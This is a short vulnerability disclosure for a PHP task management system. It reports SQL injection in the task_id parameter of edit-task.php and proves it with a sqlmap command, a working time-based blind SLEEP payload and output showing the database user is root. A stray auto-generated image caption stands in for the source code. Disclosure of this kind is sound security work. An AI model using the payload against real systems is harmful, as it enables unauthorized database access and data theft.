# php task management system - SQL Injection on (edit-task.php?task\_id=XX)

**Vendor Homepage:**

# <https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html>

# Version:V1.0

Tested on: PHP, Apache, MySQL

# Affected Page:

# edit-task.php

# On this page task\_id parameter is vulnerable to SQL Injection Attack

# 

**Source Code(taskmatic/edit-task.php):**

# 文本 描述已自动生成

**Proof of vulnerability(Verify using the sqlmap tool):**

-> sqlmap -u http://localhost/taskmatic/edit-task.php\?task\_id\=42 --cookie="Cookie:PHPSESSID=cckdidvs9fj069pko7q9au070s" --batch --current-user

**Output:**

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: task\_id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: task\_id=42' AND (SELECT 4481 FROM (SELECT(SLEEP(5)))IZvK) AND 'QLlb'='QLlb

---

[04:54:34] [INFO] fetching current user

[04:54:34] [INFO] resumed: root@localhost

current user: 'root@localhost'